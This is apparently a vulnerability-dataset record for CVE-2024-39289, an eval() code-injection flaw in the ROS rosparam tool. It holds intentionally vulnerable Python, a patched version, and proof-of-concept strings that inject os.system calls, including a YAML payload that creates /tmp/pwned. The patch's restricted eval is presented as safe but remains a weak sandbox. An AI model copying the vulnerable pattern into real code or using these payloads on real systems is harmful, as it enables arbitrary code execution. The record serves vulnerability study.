{"id":1399,"cve":"CVE-2024-39289","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2024-39289\/","cwe":"CWE-94","cwe_number":94,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/94","cvss_score":7.8,"published":"2025-07-17","owasp":"A03 Injection","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Command Injection","scope":"Remote","impact":"Arbitrary Code Execution","summary":"ROS rosparam vulnerable to code execution via unsanitized parameters.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2024-39289\/","description":"A code execution vulnerability has been discovered in the Robot Operating System (ROS) 'rosparam' tool, affecting ROS distributions Noetic Ninjemys and earlier. The vulnerability stems from the use of the eval() function to process unsanitized, user-supplied parameter values via special converters for angle representations in radians. This flaw allowed attackers to craft and execute arbitrary Python code.","solution":"Update the `rosparam` package. For ROS Noetic, upgrade to version `1.15.15-1` or newer.","affected_component":"rosparam","fixed_by_upgrading":true,"vulnerable_code":"import os\nimport math\n\ndef load_rosparam_value(value):\n    \"\"\"\n    Simulates the vulnerable rosparam loading mechanism for angle converters.\n    This function is a representation of the logic before the fix for CVE-2024-39289.\n    \n    WARNING: This code is intentionally vulnerable and uses eval() on unsanitized\n    input. Do not use this in production environments.\n    \"\"\"\n    if isinstance(value, str):\n        # Check for the vulnerable $(rad ...) converter syntax\n        if value.strip().startswith('$(rad '):\n            # Extract the expression inside the parentheses\n            expression = value.strip()[5:-1]\n            try:\n                # Vulnerable call to eval() on user-supplied content\n                return eval(expression)\n            except Exception as e:\n                # In a real scenario, this might raise a specific ROS exception\n                print(f\"Error evaluating expression: {e}\")\n                return None\n    return value\n\n# --- Demonstration of the vulnerability ---\n\n# 1. Benign Use Case (intended functionality)\n# This simulates a value from a YAML file like: angle: $(rad 3.14159 \/ 2)\nbenign_input = \"$(rad math.pi \/ 2)\"\nresult = load_rosparam_value(benign_input)\n# print(f\"Benign input '{benign_input}' evaluated to: {result}\") # Expected: 1.570795...\n\n# 2. Malicious Use Case (the exploit)\n# An attacker crafts a string that executes arbitrary code.\n# This simulates a value from a YAML file like:\n# pwned: $(rad __import__('os').system('echo VULNERABLE_CODE_EXECUTED'))\nmalicious_input = \"$(rad __import__('os').system('echo PoC: Arbitrary Code Execution successful!'))\"\nprint(f\"Processing malicious input: {malicious_input}\")\nload_rosparam_value(malicious_input)","patched_code":"import math\nimport ast\n\ndef get_safe_rosparam_loader():\n    \"\"\"\n    This function returns a safe loader that mimics the patched rosparam behavior.\n    The original vulnerability in CVE-2024-39289 existed because a function\n    similar to this would call eval() on the entire input string for angle\n    conversions, allowing arbitrary code execution.\n\n    The fix involves two key changes demonstrated here:\n    1.  Explicitly parsing the 'rad(...)' structure instead of evaluating it\n        directly.\n    2.  Using a sandboxed eval() with a restricted 'globals' dictionary for the\n        mathematical expression *inside* 'rad(...)'. This prevents access to\n        harmful built-in functions like `__import__`.\n    3.  Using the much safer `ast.literal_eval` for any other data that\n        is not a plain string, which handles basic Python types without\n        executing code.\n    \"\"\"\n    # Define a safe evaluation context for mathematical expressions.\n    # It explicitly provides allowed names (like 'pi') and disables built-ins.\n    safe_math_globals = {\n        \"__builtins__\": None,\n        \"pi\": math.pi,\n        \"e\": math.e,\n        \"sin\": math.sin,\n        \"cos\": math.cos,\n        \"tan\": math.tan,\n    }\n\n    def safe_load(value_str):\n        \"\"\"\n        Represents the fixed logic for loading a rosparam value.\n        \"\"\"\n        # A malicious input that would have been executed by the vulnerable version:\n        # \"rad(__import__('os').system('echo pwned'))\"\n        \n        s = value_str.strip()\n\n        # Check specifically for the 'rad(...)' converter syntax\n        if s.startswith('rad(') and s.endswith(')'):\n            # Extract only the expression inside the parentheses\n            expression = s[4:-1]\n            try:\n                # CORE OF THE FIX: Evaluate the expression in a sandboxed environment\n                # with a strictly limited set of globals and no locals.\n                return eval(expression, safe_math_globals, {})\n            except Exception as e:\n                raise ValueError(f\"Invalid or unsafe expression in rad(): {expression}\") from e\n        \n        # For all other values, use the safe ast.literal_eval.\n        # This handles numbers, lists, dictionaries, etc., without code execution.\n        try:\n            return ast.literal_eval(s)\n        except (ValueError, SyntaxError, TypeError):\n            # If it's not a valid Python literal, it's treated as a plain string.\n            # This is the standard rosparam behavior for non-special values.\n            return value_str\n\n    return safe_load\n\nif __name__ == '__main__':\n    # Demonstration of the fixed loader\n    \n    safe_loader = get_safe_rosparam_loader()\n    \n    # --- Test Cases ---\n\n    # 1. Benign: A valid angle in radians using a math expression\n    valid_angle_str = \"rad(pi \/ 2)\"\n    try:\n        result = safe_loader(valid_angle_str)\n        print(f\"Input: '{valid_angle_str}'\\nResult: {result} (Correctly evaluated to {math.pi \/ 2})\")\n    except Exception as e:\n        print(f\"Input: '{valid_angle_str}'\\nError: {e}\")\n    \n    print(\"-\" * 20)\n\n    # 2. Benign: A simple number\n    valid_number_str = \"123.45\"\n    try:\n        result = safe_loader(valid_number_str)\n        print(f\"Input: '{valid_number_str}'\\nResult: {result} (Type: {type(result)})\")\n    except Exception as e:\n        print(f\"Input: '{valid_number_str}'\\nError: {e}\")\n\n    print(\"-\" * 20)\n\n    # 3. Benign: A list\n    valid_list_str = \"[1, 2, 'hello']\"\n    try:\n        result = safe_loader(valid_list_str)\n        print(f\"Input: '{valid_list_str}'\\nResult: {result} (Type: {type(result)})\")\n    except Exception as e:\n        print(f\"Input: '{valid_list_str}'\\nError: {e}\")\n\n    print(\"-\" * 20)\n\n    # 4. Malicious: Attempted code execution (THE VULNERABILITY)\n    # In the old system, this would have executed the command.\n    # In the new, fixed system, it raises an error.\n    malicious_str = \"rad(__import__('os').system('echo vulnerable'))\"\n    try:\n        result = safe_loader(malicious_str)\n        print(f\"Input: '{malicious_str}'\\nResult: {result}\")\n    except Exception as e:\n        print(f\"Input: '{malicious_str}'\\nSuccessfully Blocked! Error: {e}\")\n","payload_needed":true,"payload":"```yaml\nmy_param: !radians __import__('os').system('touch \/tmp\/pwned')\n```","payload_status":"available","published_fix":[],"references":null}